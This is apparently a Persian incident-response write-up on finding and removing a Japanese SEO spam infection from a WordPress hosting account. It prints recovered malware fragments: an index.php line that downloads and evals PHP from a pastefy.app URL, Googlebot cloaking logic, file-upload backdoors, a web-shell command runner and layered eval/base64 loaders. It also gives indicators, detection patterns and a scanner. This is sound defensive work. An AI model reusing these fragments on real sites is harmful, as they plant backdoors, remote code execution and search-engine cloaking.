
ماجرا از جایی شروع شد که سایت در ظاهر کاملاً عادی بود.
مطمنم اگه با این مشکل روبرو شده باشید این مقاله به شدت میتونه به شما کمک کنه. یکی از راه های استفاده از این محتوا این هست که کل محتوارو برای chatgpt کپی کنید و مرحله به مرحله باهاش مسیر رو طی کنید. منتظر کامنت های شما عزیزان هستم
کاربران عادی صفحه اصلی را درست میدیدند، محصولات نمایش داده میشدند، پنل مدیریت باز میشد و حتی آیکون سایت در تنظیمات وردپرس نیز صحیح بود. با این حال، گوگل چیز دیگری از سایت میدید.
در Google Search Console نشانههای عجیبی ظاهر شده بود:
صفحات ناشناخته با مسیر /prizes/
URLهایی با پارامترهای عددی طولانی مانند ?o=...
عنوانهای ژاپنی
تصاویر محصول از سایتهای خارجی
یک Favicon نامرتبط
Sitemapهای متعدد و غیرواقعی
محتوایی که کاربران عادی هرگز آن را نمیدیدند
سایت موردنظر hanondesign بود؛ یک سایت وردپرسی دارای ووکامرس، قالب Woodmart، Rank Math، WP Rocket و چند افزونه متداول دیگر.
در ابتدا تصور میشد مشکل از Rank Math، کش WP Rocket، تنظیمات Sitemap یا دیتابیس وردپرس باشد. اما بررسیها نشان داد با یک آلودگی بسیار گستردهتر روبهرو هستیم؛ آلودگیای که فقط وردپرس را هدف نگرفته بود و در مسیرهای مختلف اکانت هاست، از جمله public_html، tmp، ssl، etc، lscache و public_ftp فایل مخرب ساخته بود.
این مقاله گزارش کامل این اتفاق است؛ از اولین نشانهها تا کشف فایل اصلی، ساخت اسکنر اختصاصی، شناسایی چندین خانواده بدافزار و پاکسازی نهایی.
هک ژاپنی یا Japanese SEO Spam نوعی حمله است که در آن مهاجم صفحات جعلی با محتوای ژاپنی، چینی یا فروشگاهی روی سایت قربانی ایجاد میکند.
هدف معمولاً یکی از این موارد است:
گرفتن رتبه در نتایج گوگل با اعتبار دامنه قربانی
ساخت صفحات فروش محصول جعلی
هدایت کاربران گوگل به فروشگاههای غیرمعتبر
سوءاستفاده از Crawl Budget سایت
ایجاد هزاران URL اسپم
فروش لینک و ترافیک
ارسال ایمیل اسپم از سرور
در بسیاری از موارد، صاحب سایت هیچ محتوای ژاپنی در وردپرس نمیبیند؛ زیرا بدافزار از تکنیکی به نام Cloaking استفاده میکند.
در Cloaking، محتوایی که به Googlebot نمایش داده میشود با محتوایی که کاربر عادی میبیند متفاوت است.
مثلاً:
if (isGoogleBot()) { echo $japaneseSpamPage; exit; } require 'wp-blog-header.php';
در چنین حالتی مدیر سایت صفحه واقعی را میبیند، ولی گوگل نسخه جعلی را ایندکس میکند.
در این پرونده، نشانههای زیر مشاهده شد:
/prizes/گوگل URLهایی مشابه نمونه زیر را Crawl میکرد:
https://hanondesign.ir/prizes/65404905 https://hanondesign.ir/prizes/38650470 https://hanondesign.ir/prizes/194572006
هیچ برگه، نوشته، محصول یا Custom Post Type با نام prizes در وردپرس وجود نداشت.
جستوجوی دیتابیس نیز نتیجهای برای این عبارت نشان نمیداد.
فایل sitemap.xml بهجای Sitemap عادی Rank Math، تعداد زیادی Sitemap جعلی تولید میکرد؛ مانند:
/sitemap607.xml /sitemap608.xml /sitemap609.xml
این Sitemapها شامل صدها یا هزاران URL اسپم بودند.
در آزمایش زنده Google Search Console، صفحه اصلی بهصورت یک صفحه فروش محصول ژاپنی نمایش داده شد.
در HTML مشاهدهشده، موارد زیر وجود داشت:
<title>【H984】琥珀...</title>
همچنین:
تصاویر از static.mercdn.net
منابعی از komeri.com
Structured Data مربوط به Product
صدها لینک /prizes/
Canonical به دامنه اصلی سایت
Favicon از یک سایت خارجی
این در حالی بود که مرورگر عادی صفحه واقعی سایت را نمایش میداد.
وقتی Sitemap جعلی و محتوای متفاوت برای گوگل دیده میشود، معمولاً اولین مظنونها اینها هستند:
Rank Math
Yoast SEO
WP Rocket
LiteSpeed Cache
Cloudflare
افزونه Redirect
افزونه Code Snippets
دیتابیس وردپرس
در این پرونده نیز ابتدا همین بخشها بررسی شدند.
هیچ رشتهای با عبارات زیر در دیتابیس پیدا نشد:
prizes Japanese komeri mercdn
همچنین Rewrite Rule مشخصی برای /prizes/ وجود نداشت.
در نتیجه باید مشخص میشد آیا درخواست Googlebot اصلاً به وردپرس میرسد یا قبل از آن پاسخ داده میشود.
برای این کار یک MU Plugin موقت ساخته شد.
فایل:
wp-content/mu-plugins/hanon-trace.php
منطق آن به شکل ساده زیر بود:
<?php add_action('send_headers', function () { header('X-Hanon-WP-Reached: yes'); }); add_action('wp_head', function () { echo '<!-- HANON_WP_REACHED -->'; });
هدف این بود که وقتی وردپرس اجرا میشود:
یک Header با نام X-Hanon-WP-Reached اضافه شود.
یک Comment در HTML صفحه قرار گیرد.
سپس Google Search Console Live Test دوباره اجرا شد.
نتیجه مهم بود:
HANON_WP_REACHED
در نسخه ژاپنی وجود نداشت.
فایل Log افزونه نیز ساخته نشد.
این یعنی پاسخ جعلی قبل از بارگذاری وردپرس و قبل از اجرای MU Pluginها تولید میشد.
پس مشکل از Rank Math، WooCommerce یا قالب نبود.
.htaccess و مشخصشدن محل اجرای بدافزاربرای اطمینان، یک Rewrite موقت در .htaccess اضافه شد تا درخواست Google Inspection Tool به یک فایل ثابت هدایت شود.
محتوای فایل تست:
HANON_GOOGLE_PROBE_20260712
Google Search Console همین متن را نمایش داد.
این آزمایش ثابت کرد:
درخواست گوگل به سرور و .htaccess میرسد.
اما در حالت عادی قبل از اجرای وردپرس، یک کد دیگر پاسخ جعلی تولید میکند.
محل آلودگی احتمالاً یکی از فایلهای ابتدایی اجرای PHP است.
فایلهای مهم در این مرحله عبارتاند از:
index.php wp-blog-header.php wp-load.php wp-config.php .user.ini php.ini auto_prepend_file
برای حذف احتمال کش آلوده، اقدامات زیر انجام شد:
define('WP_CACHE', false);
فایل زیر تغییرنام داده شد:
wp-content/advanced-cache.php
و پوشه کش WP Rocket نیز به قرنطینه منتقل شد:
wp-content/cache/wp-rocket
با این حال، Google Search Console همچنان صفحه ژاپنی را نمایش میداد.
بنابراین مشکل از Cache نبود.
index.phpفایل اصلی زیر بررسی شد:
/home/hanondes/public_html/index.php
در ابتدای فایل، قبل از کد استاندارد وردپرس، این کد قرار داشت:
<?php error_reporting(0); eval( urldecode("%3f%3e") . file_get_contents( urldecode( hex2bin( '68747470733a2f2f706173746566792e6170702f6d485262685370612f726177' ) ) ) ); ?>
رشته Hex زیر:
68747470733a2f2f706173746566792e6170702f6d485262685370612f726177
پس از Decode به این آدرس تبدیل میشد:
https://pastefy.app/mHRbhSpa/raw
یعنی فایل index.php در هر درخواست، کد PHP را از یک سرویس خارجی دریافت و با eval اجرا میکرد.
ساختار واقعی حمله تقریباً این بود:
$remoteCode = file_get_contents( 'https://pastefy.app/mHRbhSpa/raw' ); eval($remoteCode);
این کد قبل از وردپرس اجرا میشد و میتوانست:
User-Agent را بررسی کند.
Googlebot را تشخیص دهد.
محتوای ژاپنی نمایش دهد.
Sitemap جعلی تولید کند.
URLهای /prizes/ بسازد.
برای کاربران عادی وردپرس واقعی را نمایش دهد.
بدون تغییر دیتابیس، هزاران صفحه جعلی ایجاد کند.
index.phpمحتوای آلوده حذف و فایل به نسخه استاندارد وردپرس برگردانده شد:
<?php /** * Front to the WordPress application. * * @package WordPress */ define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';
بعد از این تغییر، Google Search Console Live Test دوباره اجرا شد.
این بار Marker زیر در خروجی دیده شد:
<!-- HANON_WP_REACHED -->
فایل Log نیز ثبت درخواست Googlebot را آغاز کرد.
این یعنی درخواستها اکنون به وردپرس واقعی میرسیدند.
نکته مهم این است که مشاهده درخواستهای جدید گوگل برای URLهای قدیمی /prizes/ بعد از پاکسازی الزاماً به معنی باقیبودن آلودگی نیست. گوگل ممکن است URLهای قبلاً کشفشده را هفتهها یا ماهها دوباره Crawl کند. مهم این است که این URLها اکنون محتوای جعلی تولید نکنند و پاسخ 404 یا 410 بدهند.
CIthjx.phpبررسی فایلهای اخیراً تغییرکرده، یک فایل تصادفی در ریشه سایت نشان داد:
/home/hanondes/public_html/CIthjx.php
مشخصات فایل:
Size: 38,804 bytes Modified: 10 July 2026
نام تصادفی، محل قرارگیری در ریشه سایت و زمان ساخت نزدیک به زمان آلودهشدن index.php بسیار مشکوک بود.
محتوای فایل شامل:
رشتههای رمزگذاریشده
Commentهای تصادفی
eval
ساخت پویای توابع
Payload بزرگ
کدهای مبهمسازیشده
بود.
این فایل یک Backdoor محسوب میشد و حذف شد.
اما این پایان ماجرا نبود.
public_html کافی نبود؟در بسیاری از پاکسازیهای ناقص، فقط پوشه سایت بررسی میشود:
/home/user/public_html
اما PHP معمولاً با دسترسی همان حساب cPanel اجرا میشود و ممکن است بتواند در مسیرهای دیگر Home Directory نیز فایل ایجاد کند.
در این پرونده اسکن کل مسیر زیر انجام شد:
/home/hanondes
نتیجه نشان داد بدافزار در مسیرهای مختلف پخش شده است:
/home/hanondes/public_ftp /home/hanondes/etc /home/hanondes/ssl /home/hanondes/lscache /home/hanondes/tmp /home/hanondes/public_html
این موضوع نشان میداد مهاجم فقط یک فایل وردپرس را تغییر نداده، بلکه Persistence در سطح اکانت هاست ایجاد کرده است.
برای بررسی کل اکانت یک اسکنر PHP اختصاصی ساخته شد.
وظایف این اسکنر عبارت بودند از:
پیمایش تمام فایلهای /home/hanondes
پیداکردن امضاهای قطعی بدافزار
بررسی فایلهای PHP مخفی
پیداکردن PHP در uploads
بررسی فایلهای تغییرکرده در بازه حمله
شناسایی فایلهای World-Writable
بررسی Payloadهای طولانی
شناسایی ترکیبهای مشکوک مانند eval و base64_decode
بررسی فایلهای با نام تصادفی
محاسبه SHA-256
ثبت مسیر، اندازه و تاریخ تغییر فایل
خلاصه نتیجه اسکن:
Files checked: 28,789 Files read: 28,751 Errors: 0
بخش مهم اسکن، تفکیک «امضای قطعی» از «Heuristic» بود.
برای مثال وجود عبارت Googlebot بهتنهایی دلیل بدافزاربودن نیست؛ زیرا افزونههای کش و کتابخانههای Mobile Detect نیز ممکن است این عبارت را داشته باشند.
همچنین فایلهای تصویر باینری ممکن است بهصورت تصادفی شامل بایتهایی مشابه <?php یا <?= باشند. بنابراین هر نتیجه اسکن نباید بدون بررسی حذف شود.
85049c1f2be10dاسکن چند فایل با نام یکسان در مسیرهای مختلف پیدا کرد:
/home/hanondes/public_ftp/85049c1f2be10d.php /home/hanondes/etc/85049c1f2be10d.php /home/hanondes/ssl/85049c1f2be10d.php /home/hanondes/lscache/85049c1f2be10d.php /home/hanondes/tmp/85049c1f2be10d.php
همه این فایلها دارای SHA-256 یکسان بودند:
dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c
یک نسخه دیگر نیز داخل افزونهای با نام مشکوک پیدا شد:
wp-content/plugins/twentynine/BDKR28_5svvawrj.php
وجود یک فایل با Hash یکسان در مسیرهای متعدد، یکی از قویترین نشانههای Persistence است.
این فایلها ممکن بود با هر بار پاکسازی سایت، نسخه دیگری از Backdoor را بازیابی کنند.
Mailer_85049c1f2be10d.phpنسخه دیگری از همین خانواده با نام زیر پیدا شد:
Mailer_85049c1f2be10d.php
این فایل یک پنل ارسال ایمیل انبوه با عنوان Leaf PHPMailer بود.
نشانههای داخل آن:
Leaf PHPMailer leafmailer.pw BDKR28 watchx
این فایل امکاناتی مانند موارد زیر داشت:
ارسال ایمیل انبوه
واردکردن لیست گیرندگان
افزودن Attachment
تغییر Sender
بررسی Blacklist
نمایش اطلاعات سرور
دریافت اطلاعات PHP و سیستمعامل
اجرای کد دریافتشده از اینترنت
در یکی از بخشهای مبهمسازیشده، کد در نهایت به دریافت و اجرای محتوا از مقصد زیر ختم میشد:
http://lef8.pw/-2
بنابراین این فایل فقط یک Mailer نبود؛ یک Remote Code Loader نیز محسوب میشد.
وجود چنین فایلی یعنی باید موارد زیر نیز بررسی شوند:
Mail Queue
ارسالهای خروجی
Reputation آیپی
Spam Blacklist
حسابهای ایمیل
Forwarderها
Email Filterها
BDKR28یکی از فایلهای کشفشده کد سادهای داشت:
<?php $p = $_GET['BDKR28'] ?? ''; if ($p !== 'iyhi') { die('Login'); } if (isset($_FILES['f'])) { $name = $_FILES['f']['name']; move_uploaded_file( $_FILES['f']['tmp_name'], $name ); }
این کد در ظاهر کوتاه است، اما خطر آن بسیار زیاد است.
مهاجم میتواند با بازکردن فایل و واردکردن رمز، هر فایل دیگری را در همان مسیر آپلود کند:
shell.php mailer.php index.php backdoor.phtml
نکته مهم اینکه فایل آپلودشده با نام اصلی کاربر ذخیره میشد و هیچ بررسیای روی Extension، MIME Type یا محتوا انجام نمیشد.
priv.phpیک آپلودر دیگر با عنوان Priv1337 پیدا شد:
if ($_POST['_upl'] === 'Upload') { copy( $_FILES['file']['tmp_name'], $_FILES['file']['name'] ); }
این فایل حتی رمز عبور هم نداشت.
هر فردی که URL آن را پیدا میکرد میتوانست فایل جدید روی سرور آپلود کند.
function.php؛ Web Shell کاملیکی از خطرناکترین فایلها، فایل Obfuscated با نام function.php بود.
با وجود مبهمسازی گسترده، قابلیتهای آن قابل تشخیص بود:
proc_open(...) move_uploaded_file(...) file_put_contents(...) unlink(...) rename(...) scandir(...)
این فایل امکانات زیر را در اختیار مهاجم قرار میداد:
مرور همه پوشههای هاست
مشاهده فایلها
آپلود فایل
ویرایش فایل
تغییرنام فایل
حذف فایل
مشاهده Permissionها
اجرای Command روی سیستم
مشاهده اطلاعات سیستمعامل
مشاهده نسخه PHP و وبسرور
تابع اصلی اجرای فرمان تقریباً به این شکل بود:
function runCommand($cmd) { $descriptorSpec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = proc_open( $cmd, $descriptorSpec, $pipes ); // Read command output... }
این سطح از دسترسی، یک File Manager ساده نبود؛ یک Web Shell کامل بود.
gaibfebchb.php و SEO Cloakingیکی دیگر از فایلهای مخرب:
wp-content/uploads/gaibfebchb.php
این فایل با یک Payload بزرگ Base64 شروع میشد:
$a = base64_decode('...'); eval($a);
پس از Decode، مشخص شد کد:
User-Agent را بررسی میکند.
Googlebot، Bing و Yahoo را تشخیص میدهد.
اطلاعات Host، URL، Referer و Language را جمعآوری میکند.
از چند دامنه خارجی محتوا میگیرد.
robots.txt را بازنویسی میکند.
Sitemap جعلی تعریف میکند.
پاسخهای 301، 404 و 500 تولید میکند.
محتوای HTML، CSS یا XML دریافتی را به کاربر نمایش میدهد.
نمونه منطق تشخیص ربات:
function disbot() { $ua = strtolower( $_SERVER['HTTP_USER_AGENT'] ?? '' ); return stripos($ua, 'googlebot') !== false || stripos($ua, 'bing') !== false || stripos($ua, 'yahoo') !== false || stripos($ua, 'google') !== false; }
نمونه دریافت محتوای خارجی:
$response = curl_exec($ch); if (!$response && ini_get('allow_url_fopen')) { $response = file_get_contents($url); }
این دقیقاً همان رفتاری بود که باعث نمایش نسخه ژاپنی فقط برای گوگل شده بود.
uploadsسه فایل مهم در مسیر رسانهها پیدا شدند:
wp-content/uploads/bceddaeiec.txt wp-content/uploads/gaibfebchb.txt wp-content/uploads/gaibfebchb.php
نکته مهم این است که Extension فایل همیشه قابل اعتماد نیست.
فایلهایی با پسوندهای زیر نیز ممکن است Payload PHP یا داده رمزگذاریشده داشته باشند:
.txt .jpg .png .ico .dat .cache
مهاجم ممکن است Payload را داخل فایل TXT نگه دارد و از یک Loader PHP برای خواندن و اجرای آن استفاده کند.
بنابراین اسکن فقط فایلهای .php کافی نیست.
ejrJa8.phpدر اسکن اولیه یک فایل PHP داخل مسیر WPCode در uploads دیده شد:
wp-content/uploads/wpcode/e/b/c/ejrJa8.php
اندازه فایل:
67,001 bytes
ابتدا احتمال داده شد این فایل توسط افزونه WPCode تولید شده باشد، اما بررسی محتوا نشان داد فایل کاملاً مخرب است.
ابتدای فایل شامل کد نامفهوم و Commentهای تصادفی بود:
<?=//e&(6GbF^CIri]G\*:!QcCD\A;B FalSE /*h\Y6iCQ_aVGfJla#t(>:z8A*/; ParsE_STr#:(ynK%+z.!wEUeKK
در ادامه نام توابع بهصورت پویا ساخته میشد و Payload چندمرحلهای اجرا میشد.
توابع مورد استفاده شامل این موارد بودند:
strrev str_rot13 base64_decode gzinflate create_function eval
ساختار کلی Loader مشابه این زنجیره بود:
eval( gzinflate( base64_decode( str_rot13( strrev($payload) ) ) ) );
SHA-256 این فایل:
2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3
این Hash بعداً نقش بسیار مهمی در کشف نسخههای دیگر فایل داشت.
اسکن اول براساس امضاهای شناختهشده این خانوادهها نوشته شده بود:
BDKR28 Priv1337 Leaf PHPMailer leafmailer.pw 85049c1f2be10d gaibfebchb pastefy.app nobotuseragent okhtmlgetcontent
اما ejrJa8.php از امضای متفاوت و Obfuscation پیچیدهتری استفاده میکرد.
این تجربه یک نکته مهم را نشان داد:
هیچ اسکنری که فقط بر نام فایل یا چند رشته ثابت متکی باشد، کامل نیست.
مهاجم میتواند:
نام فایل را تغییر دهد.
دامنه Remote Loader را تغییر دهد.
ترتیب توابع Decode را تغییر دهد.
Payload را دوباره Encode کند.
Commentهای تصادفی اضافه کند.
Hash فایل را تغییر دهد.
فایل را در یک مسیر قانونی پنهان کند.
به همین دلیل اسکن دوم اختصاصاً برای Loaderهای رمزگذاریشده ساخته شد.
اسکنر دوم موارد زیر را بررسی میکرد:
$knownHashes = [ '2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3', ];
$exactMarkers = [ 'ezyyimywymy1mtykljy2ywzhnmmmjwy2igz', '==ji9//79rpN+', 'FalSE /*h\\Y6iCQ', 'ParsE_STr#:', ];
$decoderMarkers = [ 'base64_decode', 'gzinflate', 'gzdecode', 'str_rot13', 'strrev', 'create_function', 'eval(', 'assert(', ];
if ( preg_match( '/[A-Za-z0-9+\/]{5000,}={0,2}/s', $content ) ) { $hasLongEncodedPayload = true; }
$isInUploads = str_contains( $path, '/wp-content/uploads/' ); $isPhp = str_contains($content, '<?php') || str_contains($content, '<?=');
در حالت Scan Only هیچ فایلی حذف نمیشد. اسکنر فقط موارد قطعی و موارد نیازمند بررسی را گزارش میکرد.
اسکن دوم ۱۲ نسخه کاملاً یکسان از ejrJa8.php پیدا کرد:
wp-includes/block-bindings/l3EbYf.php wp-includes/ID3/about.php wp-includes/block-supports/mar.php wp-includes/blocks/7fx7gr.php wp-includes/blocks/quote/index.php wp-includes/html-api/admin.php wp-includes/pomo/menu.php wp-includes/fonts/radio.php wp-includes/certificates/P4GTzq.php wp-admin/FbIqZqbg3rF.php wp-admin/user/radio.php wp-admin/js/index.php
همه فایلها:
Size: 67,001 bytes SHA256: 2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3
داشتند.
این نتیجه بسیار مهم بود؛ زیرا برخی نامها ظاهراً طبیعی به نظر میرسیدند:
about.php admin.php menu.php radio.php index.php
یک مدیر سایت ممکن است تصور کند این فایلها بخشی از وردپرس هستند.
اما فایلهای اصلی وردپرس با این نامها در این مسیرها وجود ندارند، یا محتوای آنها نباید دقیقاً با یک Loader رمزگذاریشده ۶۷ کیلوبایتی یکسان باشد.
این فایلها حذف شدند و اسکن دوباره اجرا شد:
CERTAIN MALWARE: 0 SUSPICIOUS REVIEW: 0 FAILED: 0
وجود این ۱۲ نسخه بعد از پاکسازی اولیه میتوانست دو دلیل داشته باشد:
یک Backdoor باقیمانده دوباره فایلها را ساخته باشد.
جایگزینی پوشههای هسته بهصورت Merge یا Overwrite انجام شده باشد و فایلهای اضافی حذف نشده باشند.
بدون Log کامل نمیتوان با قطعیت یکی را انتخاب کرد. به همین دلیل هنگام جایگزینی هسته وردپرس باید پوشههای قدیمی wp-admin و wp-includes ابتدا کامل حذف شوند و سپس نسخه سالم آپلود شود؛ صرفاً Overwriteکردن کافی نیست.
85049c1f2be10dبعد از شناسایی امضاها، یک اسکنر Delete Mode اختصاصی ساخته شد.
این اسکنر براساس موارد زیر فایلها را حذف میکرد:
نام فایل
Hash
Signature داخل محتوا
Payload Decodeشده
مسیرهای قطعی آلوده
خروجی حذف:
FILES CHECKED: 29143 FILES CONTENT READ: 29138 MATCHED ITEMS: 16 DELETED ITEMS: 16 FAILED ITEMS: 0
فایلهای حذفشده شامل:
public_ftp/Mailer_85049c1f2be10d.php public_ftp/incoming/85049c1f2be10d.php public_ftp/85049c1f2be10d.html etc/Mailer_85049c1f2be10d.php etc/hanondesign.ir/85049c1f2be10d.php ssl/Mailer_85049c1f2be10d.php ssl/certs/85049c1f2be10d.php ssl/85049c1f2be10d.php ssl/85049c1f2be10d.html lscache/Mailer_85049c1f2be10d.php lscache/b/85049c1f2be10d.php lscache/85049c1f2be10d.php lscache/85049c1f2be10d.html tmp/Mailer_85049c1f2be10d.php tmp/85049c1f2be10d.php tmp/85049c1f2be10d.html
اسکن مجدد:
MATCHED ITEMS: 0 FAILED ITEMS: 0
shadow را نباید کورکورانه حذف کرد؟در میان نامهای مشاهدهشده، عبارت shadow نیز مطرح شد.
اما در cPanel فایلهایی با نام shadow ممکن است کاملاً قانونی باشند و اطلاعات احراز هویت حسابهای ایمیل دامنه را نگه دارند؛ مانند:
/home/hanondes/etc/example.com/shadow
حذف کورکورانه تمام فایلهای shadow میتواند حسابهای ایمیل را از کار بیندازد.
قاعده صحیح این است:
فایل shadow صرفاً براساس نام حذف نشود.
مسیر آن بررسی شود.
محتوا در اختیار عموم قرار نگیرد.
فقط وقتی حذف شود که امضای قطعی بدافزار داخل آن وجود داشته باشد.
فایلهای قانونی داخل ساختار ایمیل cPanel دستنخورده بمانند.
بهدلیل خطای زیر در پیشخوان:
External requests are blocked
نصب مجدد هسته از Dashboard امکانپذیر نبود.
بنابراین هسته بهصورت دستی جایگزین شد.
روش صحیح:
نسخه سالم همان نگارش وردپرس دانلود شود.
پوشههای زیر از هاست حذف شوند:
wp-admin wp-includes
نسخه سالم این دو پوشه آپلود شود.
فایلهای ریشه وردپرس از نسخه سالم Overwrite شوند:
index.php wp-activate.php wp-blog-header.php wp-comments-post.php wp-cron.php wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php
موارد زیر نباید با نسخه بسته وردپرس جایگزین شوند:
wp-config.php wp-content .htaccess .user.ini php.ini
پس از پاکسازی فایلها، کل دیتابیس برای Indicators زیر جستوجو شد:
ezyyimywymy1mtykljy2ywzhnmmmjwy2igz BDKR28 leafmailer.pw lef8.pw pastefy.app gaibfebchb 85049c1f2be10d Priv1337
نتیجه همه جستوجوها صفر بود.
همچنین جداول احتمالی Snippetها بررسی شدند:
wp_snippets *_snippets
و کدهایی با توابع زیر جستوجو شدند:
eval( base64_decode gzinflate create_function file_put_contents move_uploaded_file
این مرحله مهم است؛ زیرا برخی افزونههای Snippet کد PHP را داخل دیتابیس نگه میدارند و ممکن است پس از حذف فایل، دوباره آن را تولید کنند.
همه کاربران ناشناس وردپرس حذف شدند و فقط حساب مدیر اصلی باقی ماند.
در این مرحله باید علاوه بر جدول wp_users، موارد زیر نیز بررسی شوند:
wp_usermeta Application Passwords Administrator Roles REST API access
حذف مستقیم کاربر از phpMyAdmin ممکن است رکوردهای Orphan در wp_usermeta باقی بگذارد، اما از نظر امنیتی مهمترین موضوع این است که هیچ مدیر ناشناسی وجود نداشته باشد.
در cPanel هیچ Cron Job مشکوکی وجود نداشت.
فایلهای زیر نیز بررسی شدند:
/home/hanondes/.user.ini /home/hanondes/php.ini /home/hanondes/public_html/.user.ini /home/hanondes/public_html/php.ini
هیچکدام شامل موارد زیر نبودند:
auto_prepend_file auto_append_file pastefy 85049c1f2be10d BDKR28 gaibfebchb CIthjx
این مرحله بسیار مهم است؛ زیرا مهاجم میتواند از تنظیم زیر استفاده کند:
auto_prepend_file=/home/user/malware.php
در این حالت فایل مخرب قبل از همه فایلهای PHP اجرا میشود، حتی اگر index.php سالم باشد.
افرادی که با مشکل مشابه روبهرو هستند، میتوانند این عبارات را در فایلها و Logهای خود جستوجو کنند.
CIthjx.php 85049c1f2be10d.php 85049c1f2be10d.html Mailer_85049c1f2be10d.php BDKR28_5svvawrj.php priv.php gaibfebchb.php gaibfebchb.txt bceddaeiec.txt ejrJa8.php uqg.txt
wp-content/plugins/twentynine wp-content/uploads/wpcode/e/b/c/
BDKR28 Priv1337 Leaf PHPMailer leafmailer.pw lef8.pw pastefy.app/mHRbhSpa/raw mHRbhSpa FOR BUY MORE TOOLS nobotuseragent okhtmlgetcontent okhtmlgetcss okxmlgetcontent okrobotsgetcontent getcontent301page getcontent404page getcontent500page ezyyimywymy1mtykljy2ywzhnmmmjwy2igz ==ji9//79rpN+
dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c
2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3
/prizes/ /sitemap607.xml /sitemap608.xml ?s=<spam> ?o=<long-number>
اسکنر زیر صرفاً یک نمونه ساده است و چیزی را حذف نمیکند. روی سایت واقعی باید با محدودیت دسترسی، Timeout، Skip Directory و گزارش دقیقتر استفاده شود.
<?php declare(strict_types=1); header('Content-Type: text/plain; charset=UTF-8'); $root = '/home/USERNAME'; $knownHashes = [ 'dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645c', '2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3', ]; $markers = [ 'BDKR28', 'Priv1337', 'Leaf PHPMailer', 'leafmailer.pw', 'lef8.pw', 'pastefy.app/mHRbhSpa/raw', 'nobotuseragent', 'okhtmlgetcontent', 'ezyyimywymy1mtykljy2ywzhnmmmjwy2igz', ]; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $root, FilesystemIterator::SKIP_DOTS ) ); foreach ($iterator as $file) { if (!$file->isFile() || $file->isLink()) { continue; } if ($file->getSize() > 5 * 1024 * 1024) { continue; } $path = $file->getPathname(); $content = @file_get_contents($path); if ($content === false) { continue; } $reasons = []; $sha256 = hash('sha256', $content); if (in_array($sha256, $knownHashes, true)) { $reasons[] = 'Known malicious hash'; } foreach ($markers as $marker) { if (stripos($content, $marker) !== false) { $reasons[] = 'Marker: ' . $marker; } } if ($reasons !== []) { echo "PATH: {$path}\n"; echo "SHA256: {$sha256}\n"; foreach ($reasons as $reason) { echo " - {$reason}\n"; } echo "\n"; } }
این اسکنر بهتنهایی کافی نیست؛ زیرا فایلهای جدید ممکن است هیچیک از Hashها یا Markerهای قبلی را نداشته باشند.
علاوه بر Signature، باید رفتار فایل بررسی شود.
یک فایل PHP زمانی بسیار مشکوک است که چند مورد از ویژگیهای زیر را همزمان داشته باشد:
eval assert create_function base64_decode gzinflate gzdecode str_rot13 strrev hex2bin file_get_contents با URL خارجی curl_exec proc_open shell_exec system passthru move_uploaded_file file_put_contents unlink rename scandir
برای مثال وجود base64_decode بهتنهایی بدافزار نیست. بعضی افزونهها استفاده قانونی دارند.
اما ترکیب زیر بسیار مشکوک است:
eval( gzinflate( base64_decode($payload) ) );
یا:
$code = file_get_contents( 'https://example.com/payload' ); eval($code);
یا:
proc_open( $_POST['command'], $descriptor, $pipes );
اسکنرهای امنیتی معمولاً تعداد زیادی نتیجه تولید میکنند. همه آنها بدافزار نیستند.
مواردی که در این پرونده False Positive بودند:
فایلهای WP Rocket دارای عبارت Googlebot
کتابخانه Mobile Detect
فایلهای Minifyشده JavaScript
SVGهای طولانی
فایلهای CSS فشرده
XMLهای بزرگ
تصاویر باینری که بهصورت تصادفی شامل <?= بودند
کتابخانههای Composer
فایلهای WooCommerce و Elementor
قاعده مهم:
هیچ فایل هسته، افزونه یا قالبی فقط بهدلیل یک عبارت عمومی حذف نشود.
نشانههای قویتر عبارتاند از:
Hash قطعی
نام تصادفی همراه با محتوای Obfuscated
فایل PHP در uploads
eval همراه با Payload طولانی
نسخه یکسان فایل در چند مسیر نامرتبط
Remote URL ناشناس
File Manager یا Command Runner بدون احراز هویت
زمان ساخت نزدیک به زمان حمله
index.php آلودهبا حذف کد داخل index.php، Cloaking متوقف شد؛ اما Backdoorهای دیگر همچنان وجود داشتند.
public_htmlبخش زیادی از فایلهای مخرب در مسیرهای خارج از public_html بودند.
اسکن اول خانواده ejrJa8.php را پیدا نکرد، چون امضای متفاوتی داشت.
فایلهای اضافی مهاجم ممکن است در wp-admin و wp-includes باقی بمانند.
نامهایی مانند index.php، admin.php و shadow ممکن است قانونی باشند. مسیر و محتوا مهمتر از نام است.
چند Firewall یا Malware Scanner میتوانند باعث تداخل، مصرف منابع و قفلشدن سایت شوند.
public_htmlاسکنرهای موقت خودشان اطلاعات حساس مسیرها را نمایش میدهند. پس از پایان کار باید حذف شوند.
داخل فایل زیر:
wp-content/uploads/.htaccess
این تنظیم قرار گرفت:
<FilesMatch "\.(php|php[0-9]+|phtml|phar)$"> <IfModule mod_authz_core.c> Require all denied </IfModule> <IfModule !mod_authz_core.c> Deny from all </IfModule> </FilesMatch> <IfModule mod_mime.c> RemoveHandler .php .phtml .phar RemoveType .php .phtml .phar </IfModule>
این قانون مانع اجرای مستقیم فایل PHP داخل پوشه آپلودها میشود.
در wp-config.php:
define('DISALLOW_FILE_EDIT', true);
define('WP_DEBUG', false); define('WP_DEBUG_LOG', false); define('WP_DEBUG_DISPLAY', false);
define('FORCE_SSL_ADMIN', true);
Directory: 755 File: 644 wp-config.php: 440 یا 640
هیچ فایل یا پوشهای نباید 777 باشد.
افزونه و قالب موجود صرفاً Update نشوند. پوشه قدیمی حذف و نسخه سالم رسمی نصب شود.
این موضوع مخصوصاً برای موارد زیر مهم است:
WP Rocket Code Snippets WPCode WooCommerce Elementor Rank Math Slider Revolution Woodmart
برای:
cPanel WordPress Admin Email Cloudflare
